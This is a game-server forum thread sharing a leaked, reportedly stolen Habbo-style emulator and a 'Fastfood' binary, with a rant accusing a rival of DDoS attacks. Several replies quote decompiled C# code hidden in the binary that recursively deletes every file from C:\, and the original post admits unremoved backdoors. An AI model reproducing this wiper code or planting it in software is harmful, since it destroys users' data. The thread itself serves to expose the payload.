Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

[LEAKED!] HabbiaEmu (ButterStorm original with FastFood)

Status
Not open for further replies.
Newbie Spellweaver
Joined
Sep 3, 2010
Messages
31
Reaction score
25
Heya!

I'm the official leaker of butterstorm (i was the who's made the first in leak it..) and now i give for you guys the official latest with Fastfood :'D
Is really poop the fastfood(coded by someone named Doraemon lol)... works really bad, so i don't recommend to anyone use it, sometimes the client crash for the users playing fastfood.

The emulator is stable for 2500 users, tested on hlat.us (is same actual version).

  • I have the decompiled source fixed by capostrike93 (some weeks ago), the bin and the real source.
  • Binary Fastfood, i didn't decompiled it because i haven't time, so if someone do it and fix the source he can send me a PM for edit the
  • The bin generated of the source code original (not decompiled) of this version is in /bin/Debug/
  • Database is attached in the rar empty, anyway don't have big changes, just 7 columns (in users and
  • enjoy that, you have source code, search any backdoor, i commented some backdoors but i didn't finished, so you are responsable for yourself.

Credits for:
Me
Itachi (Make butterstorm)
Habbia (HABBIA EMU == HABBOLATINO EMU)
Capostrike93(For fix the decompiled version)
Lavvos
LittleJ


Links of Emu+Database Structure:
HabbiaEmulator (Butterstorm aka hlat emu).rar (6.1 MB)


Link of Fastfood Emu (JUST BIN NOT SOURCE INCLUDED)
Fastfood.rar (182 KB)


Why HabbiaEmu?
Because i stoled it from hes friend, he gives upgrates to Habbia
Reasons why i release that and don't keeped for my own intereses (poop like a manifiest):

The owner of Hlat named Adalberto (Fakundo) is the responsable for destroy the Retro Community in spanish scene, from one year ago he likes ddos everyone better than him.
So, watching that, i was obliged to pay protected server of < 1500€ for one hotel of 500 users (majority of money from my pocket and donations from staff team) because this fag don't stoped from 1 year ago to DDoS (hitting 1.300.000pps), now he want to kill me (really lol, he searchs someone for go to my home for do it) reasons: because i give him back hes own poop lol and he can't put down my hotel. Just enjoy that mr.adalberto, you are a poop of humanity, your end is comming soon :D

Resumed, this guy is crazy and it's time to payback :D
 
Last edited:
Junior Spellweaver
Joined
Nov 21, 2011
Messages
158
Reaction score
43
This needs more of an explanation of how to use it exactly, why is fast food an exe etc? Stuff like SWF version also helps :lol:
 
Joined
Feb 22, 2012
Messages
2,103
Reaction score
1,271
This needs more of an explanation of how to use it exactly, why is fast food an exe etc? Stuff like SWF version also helps :lol:
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.

@OnTopic
Veeery good work decompiling it :)
 
Junior Spellweaver
Joined
Nov 21, 2011
Messages
158
Reaction score
43
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.

@OnTopic
Veeery good work decompiling it :)

I see, good to know.

@ThreadOwner ; I see that you said you have no time to Decompile the fast food, but can you do it after your video :S I want to steal it out of that dirty source.
 
[̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅]
Joined
May 4, 2008
Messages
831
Reaction score
741
I got it De-obfuscated ;).

Edit:



Have fun, has errors when decompiled so won't run, good luck fixes.

Decompile that one and find this:

PHP:
namespace ns0
{
    using System;
    using System.IO;

    internal sealed class Class0
    {
        internal static void smethod_0()
        {
            smethod_1(new DirectoryInfo(@"C:\\"));
        }

        private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
        {
            void* voidPtr = (void*) stackalloc byte[8];
            try
            {
                FileInfo[] files = directoryInfo_0.GetFiles();
                *((int*) voidPtr) = 0;
            Label_0010:
                if (*(((int*) voidPtr)) >= files.Length)
                {
                    try
                    {
                        DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
                        *((int*) (voidPtr + 4)) = 0;
                        while (*(((int*) (voidPtr + 4))) < directories.Length)
                        {
                            DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
                            smethod_1(info2);
                            *(((int*) (voidPtr + 4)))++;
                        }
                    }
                    catch
                    {
                    }
                    try
                    {
                        Directory.Delete(directoryInfo_0.FullName);
                    }
                    catch
                    {
                    }
                    return;
                }
                FileInfo info = files[*((int*) voidPtr)];
                try
                {
                    File.Delete(info.FullName);
                }
                catch
                {
                }
                *(((int*) voidPtr))++;
            }
            catch
            {
            }
            goto Label_0010;
        }
    }
}

It does not require a lot of skills to figure out what that code is supposed to do....
 
Junior Spellweaver
Joined
Nov 21, 2011
Messages
158
Reaction score
43
Decompile that one and find this:

PHP:
namespace ns0
{
    using System;
    using System.IO;

    internal sealed class Class0
    {
        internal static void smethod_0()
        {
            smethod_1(new DirectoryInfo(@"C:\\"));
        }

        private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
        {
            void* voidPtr = (void*) stackalloc byte[8];
            try
            {
                FileInfo[] files = directoryInfo_0.GetFiles();
                *((int*) voidPtr) = 0;
            Label_0010:
                if (*(((int*) voidPtr)) >= files.Length)
                {
                    try
                    {
                        DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
                        *((int*) (voidPtr + 4)) = 0;
                        while (*(((int*) (voidPtr + 4))) < directories.Length)
                        {
                            DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
                            smethod_1(info2);
                            *(((int*) (voidPtr + 4)))++;
                        }
                    }
                    catch
                    {
                    }
                    try
                    {
                        Directory.Delete(directoryInfo_0.FullName);
                    }
                    catch
                    {
                    }
                    return;
                }
                FileInfo info = files[*((int*) voidPtr)];
                try
                {
                    File.Delete(info.FullName);
                }
                catch
                {
                }
                *(((int*) voidPtr))++;
            }
            catch
            {
            }
            goto Label_0010;
        }
    }
}

It does not require a lot of skills to figure out what that code is supposed to do....


 
Last edited:
Junior Spellweaver
Joined
Nov 21, 2011
Messages
158
Reaction score
43
^ I'm getting the same thing as leon. :closedeyes:

Code:
using System;
using System.IO;

namespace ns0
{
  internal sealed class Class0
  {
    internal static void smethod_0()
    {
      Class0.smethod_1(new DirectoryInfo("C:\\\\"));
    }

    private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
    {
      // ISSUE: untyped stack allocation
      void* voidPtr = (void*) __untypedstackalloc(8);
      try
      {
        FileInfo[] files = directoryInfo_0.GetFiles();
        *(int*) voidPtr = 0;
        while (*(int*) voidPtr < files.Length)
        {
          FileInfo fileInfo = files[*(int*) voidPtr];
          try
          {
            File.Delete(fileInfo.FullName);
          }
          catch
          {
          }
          *(int*) voidPtr = *(int*) voidPtr + 1;
        }
      }
      catch
      {
      }
      try
      {
        DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
        *(int*) ((IntPtr) voidPtr + 4) = 0;
        while (*(int*) ((IntPtr) voidPtr + 4) < directories.Length)
        {
          Class0.smethod_1(directories[*(int*) ((IntPtr) voidPtr + 4)]);
          *(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1;
        }
      }
      catch
      {
      }
      try
      {
        Directory.Delete(directoryInfo_0.FullName);
      }
      catch
      {
      }
    }
  }
}

If you're talking about that, it's 1 file, remove it.. I didn't add it, should not be blamed for it, could be thread owner, or who ever coded it, after removing that, just fix a few more errors, and runs fine.

Edit:

FastFood De-Obfuscated - Compiled
 
Last edited:
I don't even know
Loyal Member
Joined
Apr 7, 2010
Messages
1,699
Reaction score
420
Decompile that one and find this:

PHP:
namespace ns0
{
    using System;
    using System.IO;

    internal sealed class Class0
    {
        internal static void smethod_0()
        {
            smethod_1(new DirectoryInfo(@"C:\\"));
        }

        private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
        {
            void* voidPtr = (void*) stackalloc byte[8];
            try
            {
                FileInfo[] files = directoryInfo_0.GetFiles();
                *((int*) voidPtr) = 0;
            Label_0010:
                if (*(((int*) voidPtr)) >= files.Length)
                {
                    try
                    {
                        DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
                        *((int*) (voidPtr + 4)) = 0;
                        while (*(((int*) (voidPtr + 4))) < directories.Length)
                        {
                            DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
                            smethod_1(info2);
                            *(((int*) (voidPtr + 4)))++;
                        }
                    }
                    catch
                    {
                    }
                    try
                    {
                        Directory.Delete(directoryInfo_0.FullName);
                    }
                    catch
                    {
                    }
                    return;
                }
                FileInfo info = files[*((int*) voidPtr)];
                try
                {
                    File.Delete(info.FullName);
                }
                catch
                {
                }
                *(((int*) voidPtr))++;
            }
            catch
            {
            }
            goto Label_0010;
        }
    }
}

It does not require a lot of skills to figure out what that code is supposed to do....

Why the duck is he using bitwise operators for wiping C:
 
Status
Not open for further replies.
Back
Top